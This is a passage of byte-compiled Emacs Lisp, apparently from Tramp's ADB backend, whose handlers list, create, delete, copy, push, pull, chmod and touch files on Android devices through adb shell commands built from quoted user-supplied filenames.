(defalias 'tramp-adb--gnu-switches-to-ash #[(switches) "\301\302\303\304\305\306\307\304\310\"\"\"\"!\207" [switches split-string apply concat mapcar #[(s) "\301\302\303\301\304\305##\207" [s tramp-compat-replace-regexp-in-string "\\(.\\)" " -\\1" "^-" ""] 7] delq nil #[(s) "\301\302\"?\205	\207" [s string-match "\\(^--\\|^[^-]\\)"] 3]] 10 (#$ . 28285)])
#@135 Insert dummy 0 in empty size columns.
Androids "ls" command doesn't insert size column for directories:
Emacs dired can't find files.
(defalias 'tramp-adb-sh-fix-ls-output #[(&optional sort-by-time) "\212eb\210\303\304\305\306#\203!\307\310\311\305#\210\312\313!\203\305\210\314c\210\202\315\316 \317\306#\320	\2032\321\2023\322\"ed|\210\323\324\325\n\326#\261\210*db\210n?\205M\317c)\207" [lines sort-by-time sorted-lines search-forward-regexp "[[:space:]]\\([[:space:]][0-9]\\{4\\}-[0-9][0-9]-[0-9][0-9][[:space:]]\\)" nil t replace-match "0\\1" "\\1" looking-at "[0-9][0-9]:[0-9][0-9][[:space:]]+$" "/" split-string buffer-string "\n" sort tramp-adb-ls-output-time-less-p tramp-adb-ls-output-name-less-p "  " mapconcat identity "\n  "] 5 (#$ . 28768)])
#@39 Sort "ls" output by time, descending.
(defalias 'tramp-adb-ls-output-time-less-p #[(a b) "\305\211\306\n\"\210\307\310\311\312\313\"!\"\306\n\f\"\210\307\310\311\312\313\f\"!\"\314	\"*\207" [time-b time-a tramp-adb-ls-date-regexp a b nil string-match apply encode-time parse-time-string match-string 0 time-less-p] 6 (#$ . 29543)])
#@38 Sort "ls" output by name, ascending.
(defalias 'tramp-adb-ls-output-name-less-p #[(a b) "\305	\"\205\306\225\305\"\205\306\225	\n\307O\f\307O\231))\207" [directory-listing-before-filename-regexp a posa b posb string-match 0 nil] 4 (#$ . 29888)])
#@40 Like `make-directory' for Tramp files.
(defalias 'tramp-adb-handle-make-directory #[(dir &optional parents) "\306!\307!\310	!\311	!\312	!\313	!\314	!\2037\306\315\"\316!\2046\317\"\210)\320	\321\322\323
!\"\324$\210\325	\326
!\"\210\327	
\".\207" [dir v method user host localname expand-file-name tramp-dissect-file-name tramp-file-name-method tramp-file-name-user tramp-file-name-host tramp-file-name-localname tramp-file-name-hop ".." file-directory-p make-directory tramp-adb-barf-unless-okay format "mkdir %s" tramp-shell-quote-argument "Couldn't make directory %s" tramp-flush-file-property file-name-directory tramp-flush-directory-property hop parents par] 6 (#$ . 30150)])
#@42 Like `delete-directory' for Tramp files.
(defalias 'tramp-adb-handle-delete-directory #[(directory &optional recursive) "\306!\307!\310	!\311	!\312	!\313	!\314	!\315	\316
!\"\210\317	
\"\210\320	\321\322\2036\323\2027\324\325
!#\326$.\207" [directory v method user host localname expand-file-name tramp-dissect-file-name tramp-file-name-method tramp-file-name-user tramp-file-name-host tramp-file-name-localname tramp-file-name-hop tramp-flush-file-property file-name-directory tramp-flush-directory-property tramp-adb-barf-unless-okay format "%s %s" "rm -r" "rmdir" tramp-shell-quote-argument "Couldn't delete %s" hop recursive] 7 (#$ . 30863)])
#@37 Like `delete-file' for Tramp files.
(defalias 'tramp-adb-handle-delete-file #[(filename &optional _trash) "\306!\307!\310	!\311	!\312	!\313	!\314	!\315	\316
!\"\210\315	
\"\210\317	\320\321\322
!\"\323$.\207" [filename v method user host localname expand-file-name tramp-dissect-file-name tramp-file-name-method tramp-file-name-user tramp-file-name-host tramp-file-name-localname tramp-file-name-hop tramp-flush-file-property file-name-directory tramp-adb-barf-unless-okay format "rm %s" tramp-shell-quote-argument "Couldn't delete %s" hop] 6 (#$ . 31532)])
#@51 Like `file-name-all-completions' for Tramp files.
(defalias 'tramp-adb-handle-file-name-all-completions #[(filename directory) "\306\307	!\310\n!\311\n!\312\n!\313\n!'\314\n!(\315'!\203p\316\n'\317\320$\211)\320=\203j\321 *\322\216\323\n\324\325\326\n!\327'!#\"\210\330\331r\332\n!q\210\333\334\335\336\330\337\340\341 \342\"\"\"\")\"*)\343\n'\317)$\210))\202\235\321 *\344\216\323\n\324\325\326\n!\327'!#\"\210\330\345r\332\n!q\210\333\334\335\336\330\346\340\341 \342\"\"\"\")\"*.\"\207" [filename directory v method user host all-completions tramp-dissect-file-name tramp-file-name-method tramp-file-name-user tramp-file-name-host tramp-file-name-localname tramp-file-name-hop file-name-absolute-p tramp-get-file-property "file-name-all-completions" undef match-data #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] tramp-adb-send-command format "%s -a %s" tramp-adb-get-ls-command tramp-shell-quote-argument mapcar #[#1=(f) "\302\303	\"!\203
\304!\207\207" [f directory file-directory-p expand-file-name file-name-as-directory] 4] tramp-get-buffer append ("." "..") delq nil #[#2=(l) "\301\302\"?\205	\207" [l string-match #3="^[[:space:]]*$"] 3] split-string buffer-string "\n" tramp-set-file-property #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] #[#1# "\302\303	\"!\203
\304!\207\207" [f directory file-directory-p expand-file-name file-name-as-directory] 4] #[#2# "\301\302\"?\205	\207" [l string-match #3#] 3] localname hop value save-match-data-internal] 14 (#$ . 32108)])
#@41 Like `file-local-copy' for Tramp files.
(defalias 'tramp-adb-handle-file-local-copy #[(filename) "\306!\307	!\310	!\311	!\312	!\313	!@\314\315!!\204	\316\317CAB<C\320DC\211C\203C\321\322\323\324\325!!E\326\216EE\327 \210)rEq\210\330 +CABFC\3311\376FGX\205\372\332 H\333\216D\203\250F\334X\203\250\335\336F\337U\203\212\340\202\241F\341U\203\225\340\202\241F\342U\203\240\343\202\241\344BPA#\210G\345Y\205\371\346C!\203\302\337G\347C\350\320#C)F\341U\203\343\337Gr\351C!q\210B\322PB\352A\330 C\"A*\353C!\205\371\335\354C\355\356F\"BPA$*0\202\210\202\210,\202EG\321Y\203EIJr\323\357!q\210p\360 \210JI\320\211KL\361\211M\361NO\362 \210\363\364!\210+\211PE\327 \210\365P!\210+)C\203\fC\341\366\367<\211\370N\335\371BA#E!CABFC\3721FGX\205\332 H\373\216D\203\260F\334X\203\260\335\336F\337U\203\222\340\202\251F\341U\203\235\340\202\251F\342U\203\250\343\202\251\344BPA#\210G\345Y\205\346C!\203\312\337G\347C\350\320#C)F\341U\203\353\337Gr\351C!q\210B\322PB\352A\330 C\"A*\353C!\205\335\354C\355\356F\"BPA$*0\202\n\210\202\210,\374<\335\371BA#C\"\210-\320QR\320S\375\376J\320S\377\201\\!\203@\201]\201\\\201^N@!\206\363\201_\201`!\203e\201a\201`!\204^\201b\201`!\205\363\201` \202\363\201c\201d!\211T\205x\201eT!)\203\212\201f\201c\201d!!\202\363\201c\201g!\211T\205\235\201eT!)\203\257\201f\201c\201g!!\202\363\201c\201h!\211T\205\302\201eT!)\203\324\201f\201c\201h!!\202\363\314\201i!\203\346\201f\201i!\202\363\336\201j!\210\201f\201k!)\"U\201lR\361\"V\320W\201m1.\201a\201n!\204\201b\201n!\205'\201nUQV#\211W0\202k\210\201o1a\201pU!VPWQ\203O\201qW!\210\202\\\201r\340\320W\320\201s%\210\3200\202e\210\202/\203l\202/\210W.X	\334\201t\355\201uX#CABFC\201v1+FGX\205'\332 H\201w\216D\203\325F\334X\203\325\335\336F\337U\203\267\340\202\316F\341U\203\302\340\202\316F\342U\203\315\343\202\316\344BPA#\210G\345Y\205&\346C!\203\357\337G\347C\350\320#C)F\341U\203\337Gr\351C!q\210B\322PB\352A\330 C\"A*\353C!\205&\335\354C\355\356F\"BPA$*0\202/\210\2020\210,\201xD\205\202\334G\334^X\205\202\201y1\200\201a\201z!\204\\\201b\201z!\205h\201z\355\201uX#!\211Y\205{\201{\334\201|\201}Y$)0\202\202\210\320Z[\201~\216\201	\201\200
X$\204\237\314X!\204\271\201\2011\257\201\202X!0\202\263\210\202\264\210	\316\201\203CAB<C\320DC\211C\203\242C\321\322\323\324\325!!E\201\204\216EE\327 \210)rEq\210\330 +CABFC\201\2051\231FGX\205\225\332 H\201\206\216D\203CF\334X\203C\335\336F\337U\203%\340\202<F\341U\2030\340\202<F\342U\203;\343\202<\344BPA#\210G\345Y\205\224\346C!\203]\337G\347C\350\320#C)F\341U\203~\337Gr\351C!q\210B\322PB\352A\330 C\"A*\353C!\205\224\335\354C\355\356F\"BPA$*0\202\235\210\202\236\210,\202\340G\321Y\203\340IJr\323\357!q\210p\360 \210JI\320\211KL\361\211M\361NO\362 \210\363\364!\210+\211PE\327 \210\365P!\210+)C\203\253C\341\366\367<\211\370N\335\371BA#E!CABFC\201\2071\245FGX\205\241\332 H\201\210\216D\203OF\334X\203O\335\336F\337U\2031\340\202HF\341U\203<\340\202HF\342U\203G\343\202H\344BPA#\210G\345Y\205\240\346C!\203i\337G\347C\350\320#C)F\341U\203\212\337Gr\351C!q\210B\322PB\352A\330 C\"A*\353C!\205\240\335\354C\355\356F\"BPA$*0\202\251\210\202\252\210,\374<\335\371BA#C\"\210-\201\211X\201\212\201\213!\206\312\337\201\214\201\215!\"\"\210\201\216[+X.\207" [filename v method user host localname tramp-dissect-file-name tramp-file-name-method tramp-file-name-user tramp-file-name-host tramp-file-name-localname tramp-file-name-hop file-exists-p file-truename file-error "Cannot make local copy of non-existing file `%s'" nil 10 "\n%s" get-buffer-create generate-new-buffer-name " *string-output*" #[nil "\301!\207" [standard-output kill-buffer] 2] backtrace buffer-string (error) match-data #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] 3 apply message 0 #4="" 1 2 #5="Warning: " #6="Tramp: " 4 processp tramp-get-connection-property #7="vector" tramp-get-connection-buffer append vectorp tramp-debug-message format #8="(%d) # " "*debug tramp*" kill-all-local-variables t erase-buffer run-hooks temp-buffer-setup-hook internal-temp-output-buffer-show "%s" error-message-string error-message format-message (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] signal expand-file-name tramp-temp-name-prefix boundp hop arguments fmt-string vec-or-proc tramp-message-show-message standard-output level tramp-verbose save-match-data-internal default-directory #1=#:old-dir buffer-read-only buffer-file-name buffer-undo-list inhibit-modification-hooks inhibit-read-only #2=#:buf dir-flag f file-name-handler-alist d prefix extension result tmpfile pr tm cookie temporary-file-directory eval standard-value fboundp temp-directory subrp functionp getenv "TEMP" file-directory-p file-name-as-directory "TMP" "TMPDIR" "c:/temp" "Neither `temporary-file-directory' nor `temp-directory' is defined -- using /tmp." "/tmp" file-name-extension (error) make-temp-file (file-already-exists) make-temp-name make-directory write-region silent "%s..." #3="Fetching %s to tmp file %s" (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] "failed" (error) make-progress-reporter run-at-time 0.1 tramp-progress-reporter-update #[nil "\203\306\307!\204\310\307!\203\307!\210	\311\312\313\314\n#\fD$%&\3151\300%'X\205\274\316 (\317\216)\203m%\311X\203m\320\321%\322U\203P\323\202g%\324U\203[\323\202g%\325U\203f\326\202g\327$P
#\210'\330Y\205\273\331&!\203\207\322'\332&\333\334#&)%\324U\203\246\322'r\335&!q\210$\336P$\337
\340 C\"*\341&!\205\273\320\342&\313\343%\"$P
$*0\202\302\210\334,\207" [tm v filename tmpfile cookie arguments subrp cancel-timer functionp 3 "%s...%s" format #3# (error) match-data #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] apply message 0 #4# 1 2 #5# #6# 4 processp tramp-get-connection-property #7# nil tramp-get-connection-buffer "\n%s" append buffer-string vectorp tramp-debug-message #8# fmt-string level vec-or-proc tramp-verbose save-match-data-internal tramp-message-show-message] 7] tramp-adb-execute-adb-command "pull" (error) delete-file "Cannot make local copy of file `%s'" #[nil "\301!\207" [standard-output kill-buffer] 2] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] set-file-modes logior file-modes tramp-compat-octal-to-decimal "0400" "done"] 11 (#$ . 33696)])
#@102 Like `tramp-sh-handle-file-writable-p'.
But handle the case, if the "test" command is not available.
(defalias 'tramp-adb-handle-file-writable-p #[(filename) "\306!\307	!\310	!\311	!\312	!\313	!7\314
!\203-\315	
\316\317$\2118\317=\203'\320	!\203U\321!\203E\322	\323\324\325
!\"\"\202\326\327!!\205\330\327!!\202\3319	\332\333
C:;<=\3341<>X\205\335 ?\336\216@\203\256<\337X\203\256\340\341<\342U\203\220\343\202\247<\344U\203\233\343\202\247<\345U\203\246\346\202\247\347;P:#\210>\350Y\205\377\351=!\203\310\342>\352=\353\354#=)<\344U\203\351\342>r\355=!q\210;\356P;\357:\360 C\":*\361=!\205\377\340\362=\323\363<\";P:$*0\202\210\202	\210,
G9GY\205
\3429GO9\230)8\364	
\3168$\2108)\202\320	!\203U\321!\203E\322	\323\324\325
!\"\"\202\326\327!!\205\330\327!!\202\3319	\332\333
C:;<=\3651<>X\205\335 ?\366\216@\203\256<\337X\203\256\340\341<\342U\203\220\343\202\247<\344U\203\233\343\202\247<\345U\203\246\346\202\247\347;P:#\210>\350Y\205\377\351=!\203\310\342>\352=\353\354#=)<\344U\203\351\342>r\355=!q\210;\356P;\357:\360 C\":*\361=!\205\377\340\362=\323\363<\";P:$*0\202\210\202	\210,
G9GY\205
\3429GO9\230).\207" [filename v method user host localname tramp-dissect-file-name tramp-file-name-method tramp-file-name-user tramp-file-name-host tramp-file-name-localname tramp-file-name-hop file-name-absolute-p tramp-get-file-property "file-writable-p" undef tramp-adb-find-test-command file-exists-p tramp-adb-send-command-and-check format "test -w %s" tramp-shell-quote-argument file-directory-p file-name-directory file-writable-p "/data/data" 5 "Not implemented yet (assuming \"/data/data\" is writable): %s" (error) match-data #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] 3 apply message 0 "" 1 2 "Warning: " "Tramp: " 4 processp tramp-get-connection-property "vector" nil tramp-get-connection-buffer "\n%s" append buffer-string vectorp tramp-debug-message "(%d) # " tramp-set-file-property (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] hop value rw-path arguments fmt-string level vec-or-proc tramp-verbose save-match-data-internal tramp-message-show-message] 7 (#$ . 40619)])
#@38 Like `write-region' for Tramp files.
(defalias 'tramp-adb-handle-write-region #[(start end filename &optional append visit lockname confirm) "\306!\307!\310	!\311	!\312	!\313	!\314	!@A\203)\315!\203)\316\317\320\"!\204)	\321\322\323BC>D\323ED\211D\203D\324\325\326\327\330!!F\331\216FF\332 \210)rFq\210\333 +CBCGD\3341
GHX\205	\335 I\336\216E\203\267G\337X\203\267\340\341G\342U\203\231\343\202\260G\344U\203\244\343\202\260G\345U\203\257\346\202\260\347CPB#\210H\350Y\205\351D!\203\321\342H\352D\353\323#D)G\344U\203\362\342Hr\354D!q\210C\325PC\355B\333 C\"B*\356D!\205\340\357D\317\360G\"CPB$*0\202\210\202\210,\202TH\324Y\203TJKr\326\361!q\210p\362 \210KJ\323\211LM\363\211N\363OP\364 \210\365\366!\210+\211QF\332 \210\367Q!\210+)D\203D\344\370\371>\211\372N\340\373CB#E!CBCGD\3741GHX\205\335 I\375\216E\203\277G\337X\203\277\340\341G\342U\203\241\343\202\270G\344U\203\254\343\202\270G\345U\203\267\346\202\270\347CPB#\210H\350Y\205\351D!\203\331\342H\352D\353\323#D)G\344U\203\372\342Hr\354D!q\210C\325PC\355B\333 C\"B*\356D!\205\340\357D\317\360G\"CPB$*0\202\210\202\210,\376>\340\373CB#C\"\210-\377	\201b
!\"\210\377	
\"\210pR\323ST\323U\306\201cJ\323U\201d\201e!\203d\201f\201e\201gN@!\206\201h\201i!\203\211\201j\201i!\204\202\201k\201i!\205\201i \202\201l\201m!\211V\205\234\201nV!)\203\256\201o\201l\201m!!\202\201l\201p!\211V\205\301\201nV!)\203\323\201o\201l\201p!!\202\201l\201q!\211V\205\346\201nV!)\203\370\201o\201l\201q!!\202\315\201r!\203\n\201o\201r!\202\341\201s!\210\201o\201t!)\"W\201uT\363\"X\323Y\201v1R\201j\201w!\204A\201k\201w!\205K\201wWSX#\211Y0\202\217\210\201x1\205\201yW!XPYS\203s\201zY!\210\202\200\201{\343\323Y\323\201|%\210\3230\202\211\210\202S\203\220\202S\210Y.Z-\203\310\315!\203\310\201}Z\201~#\210\201Z\201\200\201\201Z!\206\276\342\201\202\201\203!\"\"\210\201\204\201{[\\Z-\201\205]A\257\"\210	\337\201\206\373\201\207Z#CBCGD\201\2101\232GHX\205\226\335 I\201\211\216E\203DG\337X\203D\340\341G\342U\203&\343\202=G\344U\2031\343\202=G\345U\203<\346\202=\347CPB#\210H\350Y\205\225\351D!\203^\342H\352D\353\323#D)G\344U\203\342Hr\354D!q\210C\325PC\355B\333 C\"B*\356D!\205\225\340\357D\317\360G\"CPB$*0\202\236\210\202\237\210,\201\212E\205\361\337H\337^X\205\361\201\2131\357\201j\201\214!\204\313\201k\201\214!\205\327\201\214\373\201\207Z#!\211^\205\352\201\215\337\201\216\201\217^$)0\202\361\210\323_`\201\220\216\201\221\216\201\222	\201\223Z
$\203	\321\201\224CBC>D\323ED\211D\203\371D\324\325\326\327\330!!F\201\225\216FF\332 \210)rFq\210\333 +CBCGD\201\2261\360GHX\205\354\335 I\201\227\216E\203\232G\337X\203\232\340\341G\342U\203|\343\202\223G\344U\203\207\343\202\223G\345U\203\222\346\202\223\347CPB#\210H\350Y\205\353\351D!\203\264\342H\352D\353\323#D)G\344U\203\325\342Hr\354D!q\210C\325PC\355B\333 C\"B*\356D!\205\353\340\357D\317\360G\"CPB$*0\202\364\210\202\365\210,\2027H\324Y\2037JKr\326\361!q\210p\362 \210KJ\323\211LM\363\211N\363OP\364 \210\365\366!\210+\211QF\332 \210\367Q!\210+)D\203D\344\370\371>\211\372N\340\373CB#E!CBCGD\201\2301\374GHX\205\370\335 I\201\231\216E\203\246G\337X\203\246\340\341G\342U\203\210\343\202\237G\344U\203\223\343\202\237G\345U\203\236\346\202\237\347CPB#\210H\350Y\205\367\351D!\203\300\342H\352D\353\323#D)G\344U\203\341\342Hr\354D!q\210C\325PC\355B\333 C\"B*\356D!\205\367\340\357D\317\360G\"CPB$*0\202\210\202\210,\376>\340\373CB#C\"\210-)\201\232`+a\363=\204$a;\203)\201\233 \210Rp\232?\2057		\321\201\234RpDBC>D\323ED\211D\203!D\324\325\326\327\330!!F\201\235\216FF\332 \210)rFq\210\333 +CBCGD\201\2361GHX\205\335 I\201\237\216E\203\302G\337X\203\302\340\341G\342U\203\244\343\202\273G\344U\203\257\343\202\273G\345U\203\272\346\202\273\347CPB#\210H\350Y\205\351D!\203\334\342H\352D\353\323#D)G\344U\203\375\342Hr\354D!q\210C\325PC\355B\333 C\"B*\356D!\205\340\357D\317\360G\"CPB$*0\202\210\202\210,\202_H\324Y\203_JKr\326\361!q\210p\362 \210KJ\323\211LM\363\211N\363OP\364 \210\365\366!\210+\211QF\332 \210\367Q!\210+)D\203*	D\344\370\371>\211\372N\340\373CB#E!CBCGD\201\2401$	GHX\205 	\335 I\201\241\216E\203\316G\337X\203\316\340\341G\342U\203\260\343\202\307G\344U\203\273\343\202\307G\345U\203\306\346\202\307\347CPB#\210H\350Y\205	\351D!\203\350\342H\352D\353\323#D)G\344U\203		\342Hr\354D!q\210C\325PC\355B\333 C\"B*\356D!\205	\340\357D\317\360G\"CPB$*0\202(	\210\202)	\210,\376>\340\373CB#C\"-.\207" [filename v method user host localname expand-file-name tramp-dissect-file-name tramp-file-name-method tramp-file-name-user tramp-file-name-host tramp-file-name-localname tramp-file-name-hop file-exists-p y-or-n-p format "File %s exists; overwrite anyway? " file-error "File not overwritten" nil 10 "\n%s" get-buffer-create generate-new-buffer-name " *string-output*" #[nil "\301!\207" [standard-output kill-buffer] 2] backtrace buffer-string (error) match-data #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] 3 apply message 0 #4="" 1 2 #5="Warning: " #6="Tramp: " 4 processp tramp-get-connection-property #7="vector" tramp-get-connection-buffer append vectorp tramp-debug-message #8="(%d) # " "*debug tramp*" kill-all-local-variables t erase-buffer run-hooks temp-buffer-setup-hook internal-temp-output-buffer-show "%s" error-message-string error-message format-message (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] signal tramp-flush-file-property hop confirm arguments fmt-string vec-or-proc tramp-message-show-message standard-output level tramp-verbose save-match-data-internal default-directory #1=#:old-dir buffer-read-only buffer-file-name buffer-undo-list inhibit-modification-hooks inhibit-read-only #2=#:buf curbuf dir-flag f file-name-handler-alist d prefix extension result tmpfile start end lockname pr tm cookie visit file-name-directory tramp-temp-name-prefix boundp temporary-file-directory eval standard-value fboundp temp-directory subrp functionp getenv "TEMP" file-directory-p file-name-as-directory "TMP" "TMPDIR" "c:/temp" "Neither `temporary-file-directory' nor `temp-directory' is defined -- using /tmp." "/tmp" file-name-extension (error) make-temp-file (file-already-exists) make-temp-name make-directory write-region silent copy-file ok set-file-modes logior file-modes tramp-compat-octal-to-decimal "0600" tramp-run-real-handler no-message "%s..." #3="Moving tmp file `%s' to `%s'" (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] "failed" (error) make-progress-reporter run-at-time 0.1 tramp-progress-reporter-update #[nil "\203\306\307!\204\310\307!\203\307!\210	\311\312\313\314\n#\fD%&'\3151\300&(X\205\274\316 )\317\216*\203m&\311X\203m\320\321&\322U\203P\323\202g&\324U\203[\323\202g&\325U\203f\326\202g\327%P
#\210(\330Y\205\273\331'!\203\207\322(\332'\333\334#')&\324U\203\246\322(r\335'!q\210%\336P%\337
\340 C\"*\341'!\205\273\320\342'\343\344&\"%P
$*0\202\302\210\334,\207" [tm v tmpfile filename cookie arguments subrp cancel-timer functionp 3 "%s...%s" format-message #3# (error) match-data #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] apply message 0 #4# 1 2 #5# #6# 4 processp tramp-get-connection-property #7# nil tramp-get-connection-buffer "\n%s" append buffer-string vectorp tramp-debug-message format #8# fmt-string level vec-or-proc tramp-verbose save-match-data-internal tramp-message-show-message] 7] #[nil "\301!\207" [tmpfile delete-file] 2] tramp-adb-execute-adb-command "push" "Cannot write: `%s'" #[nil "\301!\207" [standard-output kill-buffer] 2] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] "done" set-visited-file-modtime "Buffer has changed from `%s' to `%s'" #[nil "\301!\207" [standard-output kill-buffer] 2] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3]] 11 (#$ . 42935)])
#@40 Like `set-file-modes' for Tramp files.
(defalias 'tramp-adb-handle-set-file-modes #[(filename mode) "\306!\307	!\310	!\311	!\312	!\313	!\314	\315
!\"\210\314	
\"\210\316	\317\320\321!
#\".\207" [filename v method user host localname tramp-dissect-file-name tramp-file-name-method tramp-file-name-user tramp-file-name-host tramp-file-name-localname tramp-file-name-hop tramp-flush-file-property file-name-directory tramp-adb-send-command-and-check format "chmod %s %s" tramp-compat-decimal-to-octal hop mode] 6 (#$ . 51620)])
#@40 Like `set-file-times' for Tramp files.
(defalias 'tramp-adb-handle-set-file-times #[(filename &optional time) "\306!\307	!\310	!\311	!\312	!\313	!\314	\315
!\"\210\314	
\"\210\2031\316\232\2036\317 \2028\320	\321\322@A@\323
!$\".\207" [filename v method user host localname tramp-dissect-file-name tramp-file-name-method tramp-file-name-user tramp-file-name-host tramp-file-name-localname tramp-file-name-hop tramp-flush-file-property file-name-directory (0 0) current-time tramp-adb-send-command-and-check format "touch -t $(( %d * 65536 + %d )) %s" tramp-shell-quote-argument hop time] 8 (#$ . 52162)])
#@109 Like `copy-file' for Tramp files.
PRESERVE-UID-GID and PRESERVE-EXTENDED-ATTRIBUTES are completely ignored.
(defalias 'tramp-adb-handle-copy-file #[(filename newname &optional ok-if-already-exists keep-date _preserve-uid-gid _preserve-extended-attributes) "\306!\306	!\307!\203\310\311	\n\312%\207\313\314!\203!\202\"	!\315\316\317\320	#C@\3211\300
AX\205\274\322 B\323\216C\203r
\324X\203r\325\326
\315U\203X\327\202m
\330U\203b\327\202m
\331U\203l\332\202m\333\fP#\210A\334Y\205\273\335@!\203\214\315A\336@\337\340#@)
\330U\203\250\315Ar\341@!q\210\f\342P\343\344 C\"*\345@!\205\273\325\346@\317\347
\"\fP$*0\202\304\210\202\305\210,\350C\205\315A\324^X\205\3511\376\352\353!\204\345\354\353!\205\354\353\317\320	#!\211D\205\371\355\324\356\357D$)0\202\210\340EF\360\216\361!\211G\2032\3621\363G	H#0\202.I\364G!\210\365I@IA\")\210\202\210\307	!\203?\306\366!	\"\313	!J\367J!K\370J!L\371J!M\372J!N\373J!OH\204d\374	!\203dJ\375	\3405@\340C@\211@\203K@\376\342\377\201Y\201Z!!P\201[\216PP\201\\ \210)rPq\210\344 +C@\201]1B
AX\205>\322 B\201^\216C\203\364
\324X\203\364\325\326
\315U\203\332\327\202\357
\330U\203\344\327\202\357
\331U\203\356\332\202\357\333\fP#\210A\334Y\205=\335@!\203\315A\336@\337\340#@)
\330U\203*\315Ar\341@!q\210\f\342P\343\344 C\"*\345@!\205=\325\346@\317\347
\"\fP$*0\202F\210\202G\210,\202\227A\376Y\203\227QRr\377\201_!q\210p\201` \210RQ\340\211ST\312\211U\312VW\201a \210\201b\201c!\210+\211XP\201\\ \210\201dX!\210+)@\203V@\330\201e\201f5\211\201gN\325\201h\f#E!C@\201i1P
AX\205L\322 B\201j\216C\203
\324X\203\325\326
\315U\203\350\327\202\375
\330U\203\362\327\202\375
\331U\203\374\332\202\375\333\fP#\210A\334Y\205K\335@!\203\315A\336@\337\340#@)
\330U\2038\315Ar\341@!q\210\f\342P\343\344 C\"*\345@!\205K\325\346@\317\347
\"\fP$*0\202T\210\202U\210,\3655\325\201h\f#C\"\210-\201kJ\201lN!\"\210\201kJN\"\210\201mJ\201nN$\203\206J\201o\201p	D5@\340C@\211@\203m@\376\342\377\201Y\201Z!!P\201q\216PP\201\\ \210)rPq\210\344 +C@\201r1d
AX\205`\322 B\201s\216C\203
\324X\203\325\326
\315U\203\374\327\202
\330U\203\327\202
\331U\203\332\202\333\fP#\210A\334Y\205_\335@!\2030\315A\336@\337\340#@)
\330U\203L\315Ar\341@!q\210\f\342P\343\344 C\"*\345@!\205_\325\346@\317\347
\"\fP$*0\202h\210\202i\210,\202\271A\376Y\203\271QRr\377\201_!q\210p\201` \210RQ\340\211ST\312\211U\312VW\201a \210\201b\201c!\210+\211XP\201\\ \210\201dX!\210+)@\203x@\330\201e\201f5\211\201gN\325\201h\f#E!C@\201t1r
AX\205n\322 B\201u\216C\203$
\324X\203$\325\326
\315U\203\n\327\202
\330U\203\327\202
\331U\203\332\202\333\fP#\210A\334Y\205m\335@!\203>\315A\336@\337\340#@)
\330U\203Z\315Ar\341@!q\210\f\342P\343\344 C\"*\345@!\205m\325\346@\317\347
\"\fP$*0\202v\210\202w\210,\3655\325\201h\f#C\"\210-.)\201vF+\n\205\241\201w	\201x\201y!8\"\207" [filename newname keep-date arguments fmt-string level expand-file-name file-directory-p tramp-file-name-handler copy-directory t tramp-dissect-file-name tramp-tramp-file-p 0 "%s..." format #1="Copying %s to %s" (error) match-data #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] 3 apply message #2="" 1 2 #3="Warning: " #4="Tramp: " 4 processp tramp-get-connection-property #5="vector" nil tramp-get-connection-buffer #6="\n%s" append buffer-string vectorp tramp-debug-message #7="(%d) # " "failed" (error) subrp make-progress-reporter functionp run-at-time 0.1 tramp-progress-reporter-update #[nil "\203\306\307!\204\310\307!\203\307!\210\311\312	!\203	\202 \n!\313\314\315\316	\n#D&'\3171\307&(X\205\303\320 )\321\216*\203w&\322X\203w\323\324&\313U\203[\325\202r&\326U\203f\325\202r&\327U\203q\330\202r\331
P\f#\210(\332Y\205\302\333'!\203\221\313(\334'\335\336#')&\326U\203\256\313(r\337'!q\210
\340P\341\f\342 C\"*\343'!\205\302\323\344'\315\345&\"
P\f$*0\202\311\210\336,\207" [tm filename newname cookie arguments fmt-string subrp cancel-timer functionp tramp-dissect-file-name tramp-tramp-file-p 0 "%s...%s" format #1# (error) match-data #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] 3 apply message #2# 1 2 #3# #4# 4 processp tramp-get-connection-property #5# nil tramp-get-connection-buffer #6# append buffer-string vectorp tramp-debug-message #7# level vec-or-proc tramp-verbose save-match-data-internal tramp-message-show-message] 7] file-local-copy (error quit) rename-file delete-file signal file-name-nondirectory tramp-file-name-method tramp-file-name-user tramp-file-name-host tramp-file-name-localname tramp-file-name-hop file-exists-p file-already-exists 10 get-buffer-create vec-or-proc tramp-verbose save-match-data-internal tramp-message-show-message pr tm cookie tmpfile ok-if-already-exists err v method user host localname hop standard-output default-directory #8=#:old-dir buffer-read-only buffer-file-name buffer-undo-list inhibit-modification-hooks inhibit-read-only #9=#:buf generate-new-buffer-name " *string-output*" #[nil "\301!\207" [standard-output kill-buffer] 2] backtrace (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] "*debug tramp*" kill-all-local-variables erase-buffer run-hooks temp-buffer-setup-hook internal-temp-output-buffer-show "%s" error-message-string error-message format-message (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] tramp-flush-file-property file-name-directory tramp-adb-execute-adb-command "push" file-error "Cannot copy `%s' `%s'" #[nil "\301!\207" [standard-output kill-buffer] 2] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] "done" set-file-times 5 file-attributes] 11 (#$ . 52798)])
#@37 Like `rename-file' for Tramp files.
